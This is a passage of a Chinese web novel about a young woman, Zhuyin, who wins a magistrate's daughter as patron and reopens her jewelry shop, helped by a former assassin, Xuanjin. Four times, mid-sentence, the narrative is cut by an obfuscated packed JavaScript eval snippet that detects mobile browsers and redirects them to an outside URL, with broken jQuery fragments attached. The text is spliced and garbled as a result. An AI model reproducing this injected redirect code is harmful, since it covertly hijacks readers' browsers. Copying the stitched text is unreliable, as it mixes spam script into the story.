“不不不,我真的不想收……这样吧!”竹音转了话锋,笑嘻嘻的说:“小姐收了我的花,以后若有人问起,您便说是在我这儿买的,就当照顾我的生意,如何?” 蓝裙小姐也不是个傻子,听到这儿,便明白了竹音想做什么,她的嘴角慢悠悠的噙起一抹笑:“在这儿等着我呢,想让我帮你打名气?” “什么都瞒不过小姐您的慧眼,既然如此,我也不跟您绕弯子,卖一枝花,我分您两成利,如何?”竹音笑容不改,开门见山的说道。 “两成利,说的轻巧,你一天才能卖多少花,我难道就看得上你这点买卖?”蓝裙小姐嗤笑,仿佛对他这三瓜两枣很看不上。 但竹音本来就是抱着有枣没枣打一杆子的心态进行试探的,如今对方没有立刻拒绝,反而证明此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104304|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事有洽谈的空间。 俗话说得好,挑货才是买货人。 她立刻来了精神,从善如流的点点头,随即俯身向前,压低声音对蓝裙小姐说: “我这小摊位小姐看不上,也是应该的,但我近日已拉到投资,准备重开银楼。 不知小姐有没有听说过簪竹记,那是我家以前的铺子,论经营银楼,我还是有很大把握的,只是……还需要一个拿得出手的靠山,让我这生意能做的清静一些。” 说完最后一句话,她抬起眼,不躲不避的和蓝裙小姐对视,眼中笑意盈盈,写满了志在必得。 蓝裙小姐挑眉,怀疑的看着她:“你还会经营银楼?既然如此,为何沦落到在这摆摊?” “家中母父遭了仇人暗算,双双亡故,我猝不及防逢此大厄,不幸沦落至此,唉,不提也罢。”竹音眼中适时的透露出一股悲伤,故作忧愁的摇了摇头,随即继续向蓝裙小姐抛出橄榄枝: “您一分钱都不用投,坐等收账即可,只要您一句话,就能救一个可怜的姑娘于水火,还能给自己挣钱,这是一笔划算的买卖,不是吗?” 像她这种没名没姓的小商人,想要起步,必须得找个靠山,而因为古代的环境特殊,找女人显然比找男人更靠谱。 “你连我是谁都不知道,就敢跟我谈生意?”蓝裙小姐的目光充满了审视。 竹音迎着她的目光,笑容不减:“我会看人面相,小姐您眉目清正,眼神澄澈,一看就是个善心人。加上您气度不凡,行事作风从容不迫,必然出自高门大户。 我曾听过一句话,高门大院排场多,花费也大,像小姐这样的体面人,手里若是能多些自由支配的银子,行事岂不是更加从容自在? 再者说,我也不仅能经营银楼,给小姐挣钱,我还可以为小姐私人定制最好看的头饰,绝对让您在闺秀圈里一鸣惊人,让您成为新花样的风向标,成为人人追捧的对象。 像刚刚那种情况,和别的小姐争夺一支缠花的事情,绝对不会再出现第二次。” “哦?追捧?”蓝裙小姐眯起眼,凉凉的说:“你怎么知道我想炫耀,我可是个低调的人,最不喜这种事情。” “小姐性格低调,说明您为人沉稳大度,胸有丘壑。 但人靠衣装,佛靠金装,世人肤浅,都是先敬罗衣再敬人,小姐有这样的美貌,不用最好的首饰来搭配,在关键时刻惊艳四座,那才是浪费呢。” 竹音的语气轻快而充满了诱惑力:“清栀镇若只有一位最出名的闺秀,为何不能是您呢?好东西,可从来都是要靠抢的,何必每次都让别人抢走。” 跟这样年岁不大的小姑娘,有些话不用说的太深。 她也许很早熟,但绝对没有熟到当家夫人那个程度。 刚刚那粉裙小姐抢走她看上的缠花,她面上不动声色,但心里绝对还压着火气。 养气功夫好,是指不乱发脾气,而不是指没脾气,越是压抑的很了,反倒越想逆反。 竹音不信她不想找回自己的场子! 16. 第16章 获得靠山 果然,竹音话音落地,蓝裙小姐的表情一滞,进而露出挑剔的神情,慢悠悠的说:“光是缠花,可不能让我惊艳四座。” “那是自然,我还会别的手艺,绒花、通草花,花丝镶嵌,珐琅彩,仿点翠……普通银楼会的,我都会,普通银楼不会的,我也会。 实在不会的,只要小姐想要,我也能想方设法为您寻来。不知小姐可满意?”竹音神色镇定从容,满脸自信。 蓝裙小姐听她说完,终于露出个满意的笑容:“你这样的女子,很少见,家庭忽逢大变,还能立的起来,是个有心性的,既然如此,你这靠山,我当了!只是,望你以后不要忘记自己今日的诺言。” “多谢小姐!今日之诺,必不敢忘!”竹音立刻露出欣喜若狂的表情,把情绪价值给对方拉满:“敢问小姐姓名?你我二人可以立契!” “现在才想起来问我的名字,你这人啊!”蓝裙小姐嘴角噙笑,无奈的摇摇头,对身旁的丫鬟吩咐道:“去附近的茶楼定个雅间,既然要立契,我们就好好谈谈。” “这是自然!”竹音答应的相当痛快。 反正缠花也卖的差不多了,没必要为这点小事耽误抱大腿,她麻利的收了摊,提着箱子跟着蓝裙小姐去了茶楼。 两人在茶楼里深刻交流了一番,竹音才惊觉自己这次是真的歪打正着抱到了大腿,蓝裙小姐叫做云如雪,是知州家的小姐,敢和她唱反调的粉裙小姐,则是京州来的客人,虽和她互看不上眼,但过几日便会走,所以她才忍了下来。 “我在清栀镇随祖母小住,这一年半载,你都可来云府寻我,再往后,你得把生意做到府城去,不然咱们见面可就不容易了。”云如雪说的很直白,如果竹音把握不好机会,等她走了,那就鞭长莫及,管不到她了。 竹音勾唇,露出势在必得的微笑:“在你离开之前,我一定率先一步把生意做到府城!小姐就瞧好吧。” 云如雪自己就是个要强的性子,最喜欢和同样自信要强的姑娘交流,她浅笑嫣然的端起茶杯:“那我就祝你心想事成了。” “多谢云小姐,也祝我们的合作一路长虹!”竹音同样端起茶杯,敬了回去。 从茶楼出来后,竹音送出去了一支孔雀缠花,得到了一块云府的腰牌,有了这个东西,她的生意就算是有人罩的了。 人逢喜事精神爽,正好今天又挣了钱,竹音准备去酱肉铺子买点熟食,庆祝一下。 结果她刚路过一条巷子,便被一股巨力拉到了巷子里。 竹音眼神一凛,伸手就要打,好在身后的男人先一步开口:“竹姑娘,是我!” 竹音的动作险而又险的顿住,没好气的回头:“你怎么从这冒出来了?吓我一跳!” 玄烬松开手,规规矩矩的站到一边,抬起眉眼,有些手足无措的看着她:“你刚才怎么忽然去茶楼了?我很担心你。” 云如雪的护卫不少,他虽然跟了进去,但又怕打草惊蛇,坏了竹音的事,没敢靠太近,以至于没听见两人的对话。 竹音拍了拍胸口:“那你直接喊我不就行了吗?你这个呆瓜!” 她把玄烬训了一顿,这才喜滋滋的说:“我找到靠山了,可以重新把银楼开起来了!” “是刚才那位小姐吗?”玄烬试探着问。 “对,就是她,她可是本府知州的嫡女,我可算是抱上大腿了。” 竹音看看四周没人,便把其中利害关系解释给玄烬听: “我这样的身份,背后要是没靠山,生意可做不起来,找男人当靠山,人家只会把我吃干抹净、生吞活剥了! 只有找女人,尤其是云小姐这种高官之后,家里头背景足够硬的,我才能打着双赢的旗号,分她几成利,借势把生意做起来。” 玄烬一听“吃干抹净、生吞活剥”八个字,脊背便不由自主的收紧,心里涌现出一股杀气:“我绝不会允许别人伤害你!” 竹音见他反应这样大,诧异的看他一眼,然后莞尔一笑,拍了拍他的肩膀,安抚道:“放心吧,就在这小小的清栀镇,有云如雪罩着,哪怕是县令也不会招惹我。” 见竹音如此信任云如雪,玄烬心里忽然感到很失落。 他什么时候也能做她的靠山呢? 真可恶啊,他现在甚至都不能摘下面罩出门。 说起面罩,竹音正巧问他:“胭脂水粉都买齐了没有?” “买齐了!”玄烬连忙把身后的包袱取下来,打开给她看。 竹音检查了一下,发现都能用,便让他重新装起来:“晚上我给你化粧,现在先去买点酱肉吧,我想吃酱猪蹄和猪耳朵。” 她往前走,玄烬便亦步亦趋的跟在他身后。 走了几步,竹音忽然回头,严肃的盯着他:“对了,问你一件事。” 她这副质问的模样吓到了玄烬。 玄烬立刻驻足,认真的点头:“你问。” 竹音说:“上回那三个混混,我今天一天都没看见他们,你知道他们去哪了吗?” 玄烬垂下眼眸,想说自己不知道。 但下一刻,就被忽然靠上来的竹音用手抬起了下巴。 她的指尖温热,手里力道不轻,掰着他的脸,让他的眼睛直视自己,声音充满了威胁力:“别撒谎,我能看出来。” 玄烬看着她的脸,眼眸闪了闪,到底没敢撒谎,嗓音低沉的挤出几个字:“我把他们的腿打断了,免得他们乱跑惹事。” 竹音:“……” 情理之中,意料之外的答案。 果然是他干的。 她松开钳制着玄烬下巴的手,不由扶额:“你怎么那么冲动呢?” 玄烬眼神收敛,浑身都散发着落魄小狗的气息,好像自己做好事却被主人给骂了。 那三个混混,一看就不是好东西,他不想让他们来打扰竹音。 竹音不让他杀人,那他就不杀人,他只让他们的腿断了,一直躺在家里,也能达到想要的效果。 没想到,连打断腿都不行吗? 正当他暗自神伤时,就见竹音放下手,又凑到他近前,拽住他的衣领,让他的头低下来,压低嗓音,关心的问:“没叫人看见吧?” 玄烬的眼神倏忽亮了起来,声音也变得清澈:“没有!” “那我就放心了,你可别被人抓住,不然我还得去捞你。”竹音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112428|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了口气般放开他的衣领,转过身,继续往前走。 明明是抱怨的话,听在玄烬耳中却甜甜的,像浸了蜜一样。 她在关心他! 她还说自己要是被抓了,会来捞他! 哪怕是以前的队友,大家在生死关头,也没说过谁会来救谁的话,都是各凭本事,能活就活,要是没死透,为了防止泄密,还会被队友补刀。 他也终于等到会有人来救他吗? 原来还有人在乎他的生命,哪怕他们仅仅认识这么短的时间,哪怕她还不知道他的真实身份,哪怕…… 不,没有那么多哪怕。 只要知道这世上还有人在乎他,这就足够了。 玄烬的心里暖洋洋、热腾腾的,这股热气汹涌澎湃,不断的往上扩散,从他的瞳孔里迸发出来,像一股射线一样,灼灼的射向竹音的后背,似乎想把她的后背烧出个窟窿。 竹音提着箱子在前面走,嘴里已经换了话题:“我要吃猪蹄和猪耳朵,你要吃什么?酱鸡酱鸭要来点吗?再买点芝麻烧饼好了,晚上不用做饭了。” “我吃什么都行。”听着竹音这家常的询问,玄烬面罩下的唇角疯狂上扬,带着不可抑制的傻气。 他走上前,接过了竹音手里的木箱,全都拿在自己手里。 真好呀,每天只用烦恼怎么挣钱,怎么吃饭,这就是他喜欢的人间烟火气。 两人在酱肉铺子里买了些熟食,又到烧饼铺买了芝麻烧饼,提着回了家。 待吃过晚饭,竹音便开始给玄烬化粧。 她问玄烬:“你喜欢什么风格呢?是想成熟一点,还是温润一点?” 玄烬对此一窍不通,问来问去都是那句话:“你决定就好。” 竹音都要怀疑他有讨好型人格了,要么就是有选择恐惧症,问他问题时,很少有自己的主见。 最后,竹音无奈的自由发挥,给玄烬画了个极具书生气,温润如玉的男子粧,看起来脾气很好的样子。 等到她最后一笔落下,让开身体叫玄烬照镜子,玄烬才看清自己如今的模样。 他瞳孔地震,不可思议的抬手摸了摸自己的脸:“这,是我吗?” 镜子里的男人看起来就像个刚从书院里走出来的书生,散发着温和的书卷气。 无论是眉眼还是脸型,都完全变成了另外一个人! 竹音欣赏着自己的作品,顺便教导他如何伪装:“你现在要把自己幻想成一个读书人,行走坐卧都要慢,不要急,要有文人的风骨。衣服也得换了,搞几身书生的长袍来穿,绣点竹叶,墨菊什么的。” 说着说着,她忍不住发笑:“书香门第,全是打戏!你这个样子才最具有迷惑性呢,要是谁惹了你,猝不及防的被你打一顿,估计哭都来不及哭,那场面一定很炸裂,哈哈哈!” 玄烬有些羞囧:“我也不是什么人都打……” 他担心竹音心里还想着那三个断腿混混的事,因此有些不安。 毕竟他当时答应了竹音不找那三个人麻烦,但后来偏偏又去找了。 她不会觉得他很不听话吧? 刚刚愉悦的心情,忽然又紧张了起来。 17. 第17章 重新开店 竹音看着玄烬这副什么心思都写在脸上的样子,忍不住叹了口气,说:“你也是为了我好,我明白,我不是好赖不分的人,不会怪你的。 只是以后,办事还是要三思而后行,你虽然本事大,但也不是没受过伤,做事的时候要多为以后着想。” 玄烬一听这话,顿时又支楞了起来,喜悦的说:“我知道了!” “知道了就行。”竹音顺手收拾着桌子上摊开的脂粉盒,又想起了一件事:“对了,你把银票都给我了,我又没给你钱,你最近还有钱花吗?好像也没看见你去典当东西。” “有的。”玄烬乖巧的说:“东西在清栀镇出手太显眼了,我就没去当铺。那天打断他们三人腿的时候,正巧从他们家里拿了点钱应急。” 竹音:“……” 竹音把嘴唇抿成一条直线,然后缓缓竖起个大拇指,用离谱的眼神看着他:“不愧是你啊。” 六! 万万没想到看起来沉默寡言的少男还能做出这种事,真是人不可貌相。 玄烬有些茫然无辜的挠挠头,艰难的分析着她究竟是在夸自己,还是在骂自己。 应该是在夸自己吧? 是吧? …… 确定好了玄烬的粧容后,竹音又在家里给他画了几次,把手艺练熟了,便开始操心他的户籍问题。 一个没有户籍的黑户走在大街上,也是容易被找事的,既然要伪装身份,那么做戏就要做全套。 好在这方面不用竹音操心,玄烬连夜出门了一趟,第二天便拿回来了一张户籍证明。 “我很擅长伪造这个。”玄烬说:“不过这次的不是伪造的,是我摸进官衙,找了空白文书出来,给自己写的。” 竹音:“……” 你小子,果然有点东西。 她现在确定了,这家伙以前八成是个特务,要不然这种歪门邪道的业务怎么这么精熟? 她一如既往没有多问,此事关系玄烬自己的人身安全,他肯定会办好,不用她多操心。 既然玄烬现在有了可以出门的脸和身份,那她也就不客气了,大大方方的带着人出门办事,获得免费提包跟班一枚。 在开店之前,她需要先买几个仆人,照顾自己的饮食起居,以及挑几个手巧的姑娘,帮她做首饰。 这日清晨,竹音和玄烬一起去了人牙子市场,精挑细选的买了四名仆人回来。 其中有一对母女,母亲叫张兰,三十来岁,女儿叫小余,九岁,据张兰说,她是逃荒过来的,带着女儿自卖自身,只求一个活路,本来她还有三个孩子,都死掉了。 她也是个苦命人,奋斗了许多年,好不容易在山脚下盖好了房子,有了点薄田,结果春天的一场暴雨,让山石倒塌,连着房屋、耕地、公婆、男人、孩子,全被泥石流淹没了。 只有小余,张兰原先还觉得这名字不好,因为是家公给取得,是说她又生了一个女儿,简直多余。 现在才发现,或许正是因为这个“余”字,才叫小余活了下来,她不是多余,是有余。 如今就剩下她们母女孤苦伶仃,为了防止被亲戚们捉去再嫁,不得已离开家乡去找活路。 竹音看中张兰性格朴实,会做饭持家,她的女儿也学过针线活,手虽说不上多么巧,却也能学习做首饰,是个可以培养的苗子。 这两人是她第一个买下的。 随后,她还买了个叫陆珺的二十多岁女人,陆珺是个少了根手指头,又被剃了半边发的武者,因为得罪了仇家,才沦落到这种地步。 这样残缺的人,在一般人眼里,是不吉利的,但竹音看中她会功夫,能保家护院,于是也买了下来。 第四个人是个寡妇,叫应春儿,才刚十八岁,据说她克死了三个男人,相当不吉利,被家里人当做瘟病一样卖掉。 竹音听说她克夫时,眼珠子一转,顺势狠狠砍了价,以一个极低的价格把她买走。 应春儿本来心存死志,觉得自己被卖,绝无好下场,没想到却被一个姑娘家买回去学做手艺活,顿时受宠若惊,还担心自己真有什么克人的体质,害了这位心善的小主家。 竹音听完她的顾虑后哈哈大笑:“要是你和谁成亲,就能把谁克死,早就有人把你掳走,包装一番,嫁给自己的仇人,兵不血刃的杀人于无形了。 你那几个倒霉前夫都死了,只能说明那人本来就该死了,和谁成亲都得死,他们就是这样的短命鬼,跟你有个屁的关系!” 竹音的话说的轻蔑且粗放,应春儿听了却是嚎啕大哭,感觉这些年受的委屈,终于有人能懂了。 张兰和小余到了新家后,虽然疑惑于竹家的破败,但已经挽起袖子开始干活,把里里外外都收拾得干干净净。 唯有陆珺用一块布包着脑袋,遮挡住自己被剃了半边的头发,有些手足无措的看着竹音,不知道自己能干什么。 她性格直爽,擅长打打杀杀,然而在这里却发挥不了作用,只好犹豫着问:“主人,我去砍柴吧?” 竹音拦住她:“不必叫我主人,叫我竹姑娘就行,也不用砍柴,你的任务是教我习武。” “啊?”陆珺诧异的看着她的细胳膊细腿。 这个年纪习武,说实话是有些晚了。 但那是和练武奇才比,若只是想强身健体,什么时候开始都不晚。 竹音上辈子觉醒健身的意识,还是二十多岁以后呢。 她把自己的想法和陆珺说了一下:“教我些自保的杀招就行,我主要是为了防身健体。” 陆珺恍然大悟:“那我可以教你。” 有了陆珺这个家用保镖和武学教练,竹音的每日生活又多了一项,早起习武。 玄烬看的心里酸酸的,其实他也可以教的,竹姑娘为什么不先来找他呢?他的功夫可比那个陆珺好多了。 然而,等看到陆珺伸手在竹音身上捏来捏去,指点她的动作时,玄烬又释然了。 他是男子,的确不太合适。 如此又过了五天,竹音明里暗里初步考核完自己的四个仆人,确认她们没什么问题后,便开始准备进城开店的事。 这回有小余和应春儿帮忙,哪怕只是帮她剪纸,也让她的工作量大大减轻,很快就搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116565|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定了客人预定的订单。 新品她暂时没做,要想把银楼开起来,自己手上要有能用的人手,外面也要聘请真正的师傅进店来干活,不然一个银楼要摆那么多首饰,品类繁多,光靠她自己可忙不过来。 她拿着钱,在清栀镇盘了个前店后院的铺子,和以前的竹家银楼规模差不多,只隔着一条街。 新店还叫簪竹记,她花钱把铺子翻新了一遍,势必要让店铺给人眼前一亮的感觉。 这件事并不难做,照抄后世的文创店门头,搞的仙气飘飘,充满清雅文艺的气息即可。 不过为了做噱头,她准备用绢花做一颗桃树,摆在门口吸睛。 这可是个大工程,所以最近几天,她在外面办事,家里的女人们就在帮她做绢花。 除了桃花外,还有用来装饰窗户的紫藤花,装饰墙面的松鹤图,连幔帐都要挂上缠花做的牡丹挂钩,以此凸显富贵气息。 总之,她要把这家店打扮的像一个春天的花园,让人从外面路过,往里面看一眼,就能被这布景吸引住,想要进来一探究竟。 品牌定位很重要,在高端店买到低价货,大家会觉得赚了。 但你要是一开始就走亲民路线,再想做高端商品,那可就难卖了,顾客们会不由自主的觉得你只配当初那个价格,只会对低价产品买单。 既然已经抱上了云如雪的大腿,自然要让人家觉得物有所值。 要全是平价首饰,都不符合云如雪的身份,根本没办法拿给人家戴,反倒打了人家的脸。 所以门店可以小,但绝对要精致高端上档次。 有了靠山,有了资金,竹音见玄烬还赖在这不想走,每天帮自己干活,干得不亦乐乎,便给他安了个投资人的身份,假装他也是股东之一: “咱们也是老朋友了,你要是准备跟我一起去镇上,那就说自己是二掌柜,往店里投了钱,这样你每天在店里晃悠,别人也挑不出来错,你看行吗?” 玄烬自然愿意,甚至还真想给竹音的店铺投点钱,让自己这个股东的身份名副其实。 竹音连忙拦住他:“你可别再违法犯罪了!还想不想过安宁日子了?夜路走多了,哪有不碰见鬼的。” 玄烬被她训了一通,了结了劫富济贫的心思,继续老老实实干活。 等到新店装修的差不多了,竹音便带着五人搬到了簪竹记的后院里居住。 到了这里,居住环境大大改善,后院六间房,因为张兰想带着小余住,甚至还能剩一间待客。 乡下的东西都没带来,竹音大方的给每个人都买了新的被褥铺盖,还给她们做了员工服,务必让每个人看起来都精精神神,焕然一新。 小余无疑是所有人里最开心的,别的大人不管怎么说,都穿过新衣服,唯有她这个在家不受待见的丫头,从来都没穿过新衣。 第一次换上新衣新鞋,她高兴地围着院子转圈乱跑,咯咯的傻笑,根本就停不下来。 还是张兰看不过眼,一把将她拽住,拎着她去给竹音道谢,这孩子才稳重一些,规规矩矩的给竹音行礼,问她有没有事情安排给自己做。 18. 第18章 开业 竹音看着小姑娘脸颊跑的红扑扑的,倒觉得十分喜庆。 小余自从跟着母亲来到竹家后,每天都吃饱了饭,一段时间下来,脸上也有了点儿肉,看起来不再那么瘦削可怜。 竹音顺手从桌上拿了一块点心塞给她,和蔼的说:“今天就好好玩吧,不过从明天开始,就要认真学手艺了。” 小余欢喜的接过点心,闻着香甜的糕饼气味,对着她重重点头:“我一定听姑娘的话,姑娘让我做什么我就做什么。” 张兰看着女儿这副贪吃样子,很不好意思:“姑娘愿意收留我们母女,已是大恩大德,现如今还愿意教授小女手艺,我们母女真是撞了大运,实在不知道该如何报答您……” 说着,语气里便带上哽咽,膝盖一软,拉着小余就要给竹音跪下。 竹音连忙把她们扶起来,笑着说:“既然入了我的门,那就都是自己人了,说这么见外的话做什么。 只要你们衷心对我,好好做事,我必不会亏待你们。 至于小余,这世道,女人生存本就艰难,想要站的稳,就要有安身立命的本事,路我是给她铺了,至于能走多远,就看她自己的本事了。” 张兰拉着她的手,泪水涟涟,感动的无以复加:“姑娘说的是,我必每日督促她好好用功,一定让她学出个名堂来,给姑娘干活! 我一个乡下人,虽然不懂的什么大道理,但也知道做人的本分。姑娘是个好人,我们母女,既然被姑娘买了,这两条命就是姑娘的,绝不敢背叛!” 竹音微笑着拍了拍张兰的肩膀,笑的很温和:“张娘子这样说,我必然是信的。好了,别在我这打转了,也去试试你的新衣吧。” “哎,哎!”张兰连声应下,不敢再多打扰,拉着小余退了出去,临出门前还说:“今日我做了姑娘爱吃的糖醋排骨,是照着姑娘说的法子做的,现在正炖在锅里,晚间做好了,姑娘给尝尝合不合胃口……” “好嘞!”竹音愉快的答应道。 张兰和小余出去之后,穿着一身新衣的玄烬从门外走了进来。 他的脸色在外面还是冷冰冰的,一副生人勿近的模样,见到竹音后,便如春风化雨般柔和下来。 他身上穿了一件天青色衣袍,上面绣了大片青绿色的竹叶,显得相当雅致清新。 一想到自己穿了满身的竹叶,而竹音又姓竹,他就避免不了的内心激动,觉得这里面一定有什么寓意,毕竟这衣服,可是竹音给他买的, 玄烬站在竹音面前,想转个圈展示自己,但向来内敛的性格,让他做不出这种行为,最后踌躇半天,只低声问:“我换好了,好看吗?” 竹音心说,就你这张脸,即便化了妆也让人惊艳,套个麻袋都好看。 但人家都问了,她肯定还是要回一句的,于是很捧场的竖起大拇指,夸道:“好看极了!这回一准没人怀疑你的身份。” 玄烬本来因为她那一句“好看极了”,心已经飞到了天上去。 结果竹音后面那句“怀疑身份”,又让他高高飞起的心“咣当”一下掉下来,摔的粉碎。 玄烬垂下眼眸,掩饰住眼底无尽的落寞。 即便伪造了身份文书,他也是身份不清不楚的人,背后隐藏着未知的危险,不是吗? 他配不上她。 像他这样的人,根本配不上任何纯洁无瑕的人。 竹音疑惑的看着玄烬被夸之后反倒垂头丧气的走了,有些摸不着头脑。 这是哪句话又刺激到这小孩了? 不过她没时间多想,店里即将开业,事情多如牛毛,能坐一会儿喝杯茶都算是休息了。 外面,她重金招聘来的簪娘师傅们已经到了门口,她得赶去接待。 竹音一共招了四个大师傅,分别负责金工、玉雕、仿点翠、绒花缠花等花卉制作。 有了这几位娘子,店铺的基本货盘就算是稳定住了。 有了人干活,她以后便只用负责画图出新款,以及店铺运营即可。 四位簪娘有专门的工作间,她们都是已成婚的妇人了,但因为有门手艺,能在外面挣钱,在家里的地位都比较高。 加上竹音就喜欢干净利落能承担事的下属,所以这四个簪娘的性格都比较刚硬,哪怕看起来温婉柔和,做起事来也都是说一不二,拿得起放得下的。 竹音考验完她们的手艺后,她们便带着各自的徒弟来上工。 这年头讲究的是师门,技艺不会轻易外传,像这种手艺,一般都会传给自己的女儿或者亲戚家女儿,所以她们带的都是十来岁的小姑娘。 竹音这边,应春儿和小余都是她亲自教,算是她的徒弟,倒是碍不到谁,只是大家都在后院做簪子,前厅招待少了人,还要亲自去挑。 要想把商品卖出去,一张巧嘴少不了,竹音花费了不少功夫,才招到四个有经验的招待,又亲自培训了一番,给她们灌输了不少话术和销售技巧,这才让人走马上任。 一切安排就绪,等到所有发簪摆到货架上,让整个店铺如同鲜花造就的小楼一般,簪竹记终于开业了。 玄烬穿着一身浅紫色的淡竹叶绣袍,充当股东和竹音一起迎接开张。 这算是他用伪装的身份,第一次在大众面前露脸。 竹音为了防止他出去干些无法预料的事情,同时为了不让这个人才闲着,打着他不能在自己家白吃白喝的借口,准备将采购运货的事情交给他。 依照他的武力值,运货的时候不用怕被人劫道。 玄烬欣然接受,竹音有事情交给他做,就证明他是个有用的人,有用的人才不会被抛弃。 虽然已经逃离了杀手组织,但幼年时期受到的一些教育,还是根深蒂固的刻在他的骨子里。 没有用的人不配活着,这是玄烬深刻认定的事情。 开业第一天,云如雪特意前来捧场。 云如雪本来只是想来看看,凑个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138211|195508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热闹,毕竟她随祖母住在清栀镇这样的小城,平日里还是有些无聊的。 结果一来就被花团锦簇,春天一样浪漫的店铺彻底吸引住,一通买买买,贡献了不少营业额。 竹音本意不想收她的钱,但云如雪很有契约精神,淡定的说:“一码归一码,你给我的分成,我一分都不会少要,但我买这些东西,是为了送人,不能公私不分。” 竹音看着她身后丫鬟提着的竹编购物篮都装满了,哈哈一笑,爽快的给她结了账,又送了她两支小鸟绒花:“这是赠品。” “哇,好漂亮的小鸟!”云如雪的丫鬟看着那两只水蜜桃色的粉小鸟,惊讶出声。 云如雪也是头一回见粉色的小鸟,尤其是它长得如糯米团子一样可爱,不由接到手上赏玩:“这是什么鸟?” “是花彩雀莺,粉嫩嫩胖乎乎的,很可爱是吧?还有彩虹色的,不过工期比较紧张,还没有做出成品,小姐喜欢的话,等到做好了,我第一时间安排人给您送上门去。”竹音笑着说。 云如雪摸了摸毛绒绒的小鸟,眼中满是喜爱:“这个有趣,新的做好就立刻拿来给我,我三日后有个诗会,正好戴它。” “好的,小姐。”竹音开心的弯起眼睛。 有了云如雪戴着小鸟在诗会上出风头,想必她这绒花小鸟一定能大卖。 这就是名人效应啊。 …… 三日后的诗会上,云如雪的彩虹色花彩雀莺果然受到了广泛的关注。 因为竹音送来的小鸟有五只,她自己留了一只,在诗会上将其余四只送给了几个关系不错的好友,这一下小鸟便更火了,不少人打听这鸟是哪家铺子的手艺。 根本就没等到第二天,仅仅是诗会结束的当天下午,就有不少丫鬟被差遣过来买彩虹色的小鸟绒花。 清栀镇官员不多,但富户不少,这些人最是耳聪目明,跟风的潮流一下子席卷开来,没用几日,有钱人家的姑娘头上要戴一只彩虹色的花彩雀莺,已经成为了标配。 家财薄一些的,也会退而求其次,买些颜色简单的小鸟绒花来装饰自己。 当然,不乏有其他银楼看见簪竹记的花彩雀莺火,便急匆匆赶来抄袭,但竹音已经率先一步打出了“云小姐同款”的金字招牌,并且在发钗上打了防伪标志,刻上簪竹记的印鉴,让买其他仿品的人不自觉感到低人一等,主动来支持正版。 创业总是让人激情澎湃的,竹音一旦投入工作中,对身边人的关注就会减少。 玄烬现在虽然每天都能看见她,也和她同桌吃饭,但两人一天到晚也说不上几句话,偶尔在一起交谈,也是喊他去进货拿料。 进货的价格都是竹音谈好的,他拿着单子和银票去采购就行,难度并不大。 偶尔采购方为了维持关系,见他买的量大,会给他一些回扣,也被他老老实实分文不差的上交给了竹音,搞的竹音哭笑不得:“这你都上交?不会藏点私房钱啊?” 19. 第19章 庞掌柜出招 玄烬不解道:“什么是私房钱?” 竹音陷入了沉思:“……” 算了,这种坏东西,还是不要教坏小孩了。 她把玄烬交上来的回扣收走,对他说:“马上夏天了,这些钱放我这,过两天给你买几套衣服鞋子,我给你选,不许推辞。” 玄烬一愣,然后甜蜜蜜的走了。 …… 有云如雪做靠山,竹音的生意安安稳稳的做了一个月,成功在清栀镇重新打出了名气。 对于簪竹记能够抱上大腿东山再起这件事,最气愤的就是当初抢走竹家银楼的庞掌柜了。 他眼看着簪竹记的生意越来越红火,不由得坐立不安,绞尽脑汁的想把竹音再次打压下去。 当初打压同行,抢走了竹家的银楼,就是为了能在城里一家独大。 现如今他们庞家拥有五个银楼,是清栀镇最大的首饰商,本以为可以稳坐钓鱼台,结果簪竹记又冒出来了。 这才几个月啊? 真是没想到,那个名不见经传的死丫头还挺有本事,居然短短时间就把生意做起来了! 簪竹记爆火,那他的店铺生意必然遭受影响,这段时间,他已经少赚了很多钱,这怎么能行? 庞掌柜焦虑的在屋里来回踱步,终于苦思冥想出一个好主意。 他眼睛猛然一亮,招手唤来小厮,和他耳语一番,交代了一些事情。 小厮听罢,抬头冲他露出个邪笑:“掌柜的,您瞧好吧!我保准给您办的妥妥帖帖的!” 